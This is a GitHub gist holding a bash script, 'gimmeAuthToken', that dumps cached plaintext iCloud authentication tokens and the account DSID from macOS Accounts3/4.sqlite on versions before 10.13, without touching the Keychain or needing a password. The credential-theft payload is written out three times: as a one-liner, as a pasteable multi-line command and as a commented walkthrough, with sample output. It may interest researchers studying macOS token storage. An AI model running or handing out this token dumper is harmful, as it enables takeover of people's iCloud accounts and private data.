Skip to content

Instantly share code, notes, and snippets.

@n0ncetonic
Created June 15, 2018 00:10
Show Gist options
  • Save n0ncetonic/d7fba855be0f5ca3ac9303764aa55438 to your computer and use it in GitHub Desktop.
Save n0ncetonic/d7fba855be0f5ca3ac9303764aa55438 to your computer and use it in GitHub Desktop.
macOS < 10.13 Keychain-less Passwordless iCloud authentication token dumper
#!/bin/bash
#filename :gimmeAuthToken
#description :macOS < 10.13 Keychain-less Passwordless iCloud authentication token dumper
#author :noncetonic
#date :20180614
#version :0.1
#usage :./gimmeAuthToken
#notes :Leverages the Accounts(3|4).sqlite file to dump cached plaintext iCloud tokens
#copyright :© 2018 Blacksun Labs
#===============================================================================
# Payload as a single line command
user="user"; threefour="3"; [[ -e "/Users/${user}/Library/Accounts/Accounts4.sqlite" ]] && threefour="4"; sqlite3 "/Users/${user}/Library/Accounts/Accounts${threefour}.sqlite" "SELECT hex(ZVALUE) FROM ZACCOUNTPROPERTY WHERE ZKEY='AccountDelegate'" | xxd -r -p | plutil -extract '$objects' xml1 -o - -- - |xpath 'plist[@version="1.0"]/array/string[starts-with(. , "IAAAAAAA")]/text() | //*[text()[contains(.,"getQuotaInfo")]]/text()' 2>&1 | grep -Eo "(IAA.*(~~|==)|.*getQuotaInfo)" |sed -Ee $'s/(.*==)/mmeAuthToken\t\\1/' -Ee $'s/^(I.*)~~/token\t\t\\1==/' -Ee $'s/.*osx\/([0-9]+)\/.*/DSID\t\t\\1/' |sort
: <<'MultilinePasteablePayload'
user="user";\
threefour="3";\
[[ -e "/Users/${user}/Library/Accounts/Accounts4.sqlite" ]] && threefour="4";\
sqlite3 "/Users/${user}/Library/Accounts/Accounts${threefour}.sqlite" "SELECT hex(ZVALUE) FROM ZACCOUNTPROPERTY WHERE ZKEY='AccountDelegate'" \
| xxd -r -p \
| plutil -extract '$objects' xml1 -o - -- - \
| xpath 'plist[@version="1.0"]/array/string[starts-with(. , "IAAAAAAA")]/text() | //*[text()[contains(.,"getQuotaInfo")]]/text()' 2>&1 \
| grep -Eo "(IAA.*(~~|==)|.*getQuotaInfo)" \
| sed -Ee $'s/(.*==)/mmeAuthToken\t\\1/' -Ee $'s/^(I.*)~~/token\t\t\\1==/' -Ee $'s/.*osx\/([0-9]+)\/.*/DSID\t\t\\1/' \
| sort
MultilinePasteablePayload
: <<'StandardBashPayload'
# Set our variables
user="user"
threefour="3" # Default to Accounts3 switch to Accounts4 if it exists
# If Accounts4.sqlite exists use that instead
[[ -e "/Users/${user}/Library/Accounts/Accounts4.sqlite" ]] && threefour="4"
# Broken down pipe by pipe
#
# 1. `sqlite` connects to the Accounts(3|4).sqlite database and pulls out the hex
# converted binary blob from `AccountDelegate` stored in `ZACCOUNTPROPERTY`'s
# `ZVALUE` column.
# 2. `xxd` takes the raw hex from `sqlite` and outputs it as raw binary.
# 3. `plutil` takes the binary plist output by `xxd` and grabs the "$objects"
# dictionary containing our tokens and DSID (among other things) , converts
# "$objects" from binary to xml, and outputs the xml to stdout.
# 4. `xpath` is the real hero of the show. With our `plutil` generated xml as input
# we are able to parse the otherwise pain in the ass NSKeyedArchive format
# fairly painlessly. Tokens all start with the string "IAAAAAAABLwIAAAAAFr"
# and the DSID is part of a number of URLs ( I just randomly picked the URL
# for "getQuotaInfo") so we forego walking the DOM and instead just check
# every node for a match to "IAAAAAAABLwIAAAAAFr" or "getQuotaInfo" for tokens
# or DSID, respectively. Redirect STDERR to STDOUT because BSD `xpath` has
# horrible output.
# 5. `grep` cleans up out output and removes the "-- NODE --" and other decorative
# strings from our desired output.
# 6. `sed` normalizes and formats the strings returned by `grep` and is the last
# step in extracting our wanted data, removing the URI from around the DSID.
# 6a. First `sed` finds the only line that ends with "==" – as this is always our
# mmeAuthToken – and prepends the line with "mmeAuthToken" and a tab.
# 6b. Next `sed` finds any lines that match a token and outputs the token prepended
# with "token" and two tab characters to keep our output nicely uniform. Tilde
# ('~') characters used for padding are also turned into legal padding chars ('=')
# 6c. Finally, `sed` rips the DSID out of a URL and outputs the DSID prepended with
# "DSID" and two tabs; again this is done strictly for aesthetic.
# 7. One finaly sort and we're done. Output should resemble the following
# DSID 8675309666
# mmeAuthToken IAAAAAAABLwIAAAAAFrLq4kRDmdzLmljbG91_gimmeAuthToken==
# token IAAAAAAABLwIAAAAAFr2newRDmdzLmljbG91_Blacksun_Hackers_Research_Labs-Thursday-June_14-2018_Thanks_for_the_read==
# token IAAAAAAABLwIAAAAAFr2newRDmdzLmljbG91_Check_out_our_blog_at_https-colon-slash-slash_blacksunhackers.club==
# token IAAAAAAABLwIAAAAAFr2newRDmdzLmljbG91_Written_and_documented_by_noncetonic==
# token IAAAAAAABLwIAAAAAFr2newRDmdzLmljbG91_Never_eat_tequila-_Peter==
# token IAAAAAAABLwIAAAAAFr2newRDmdzLmljbG91_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_==
sqlite3 "/Users/${user}/Library/Accounts/Accounts${threefour}.sqlite" "SELECT hex(ZVALUE) FROM ZACCOUNTPROPERTY WHERE ZKEY='AccountDelegate'" \
| xxd -r -p \
| plutil -extract '$objects' xml1 -o - -- - \
| xpath '//*[text()[starts-with(.,"IAAAAAAA")]]/text() | //*[text()[contains(.,"getQuotaInfo")]]/text()' 2>&1 \
| grep -Eo "(IAA.*(~~|==)|.*getQuotaInfo)" \
| sed -Ee $'s/(.*==)/mmeAuthToken\t\\1/' -Ee $'s/^(I.*)~~/token\t\t\\1==/' -Ee $'s/.*osx\/([0-9]+)\/.*/DSID\t\t\\1/' \
| sort
StandardBashPayload
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment